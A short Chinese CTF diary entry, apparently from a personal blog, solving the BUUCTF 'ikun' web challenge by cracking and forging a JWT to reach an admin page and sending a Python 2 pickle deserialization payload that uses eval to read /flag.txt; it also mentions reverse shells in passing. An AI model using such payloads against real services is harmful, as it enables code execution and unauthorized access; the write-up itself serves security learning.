buu摸鱼日记之14
[CISCN2019 华北赛区 Day1 Web2]ikun
被彻底吊打了,真的不会
两个知识点,一个是jwt,弄到了git的工具
以及git某大佬的工具https://github.com/brendan-rius/c-jwt-cracker
直接build就可以用,非常方便
伪造jwt来访问admin
第二个是py的反序列化
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
因为网站用的 是py2,所以说写也要用Py2
具体是根据
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open(’/flag.txt’,‘r’).read()
https://blog.csdn.net/sxingming/article/details/52164249 python序列化,这个东西和php差不多
__reduce__(self)
如果pickle的数据包含了自定义的扩展类(比如使用C语言实现的Python扩展类)时,就需要通过实现
__reduce__
方法来控制行为了。由于使用过于生僻,这里就不展开继续讲解了。令人容易混淆的是,我们知道,
reduce()
是Python的一个內建函数, 需要指出__reduce__
并非定义了reduce()
的行为,二者没有关系。
今天还玩了一下反弹shell,老有意思了
https://xz.aliyun.com/t/2549写的非常好,i了
PREVIOUSBuu摸鱼日记之13
NEXTBuu摸鱼日记之十五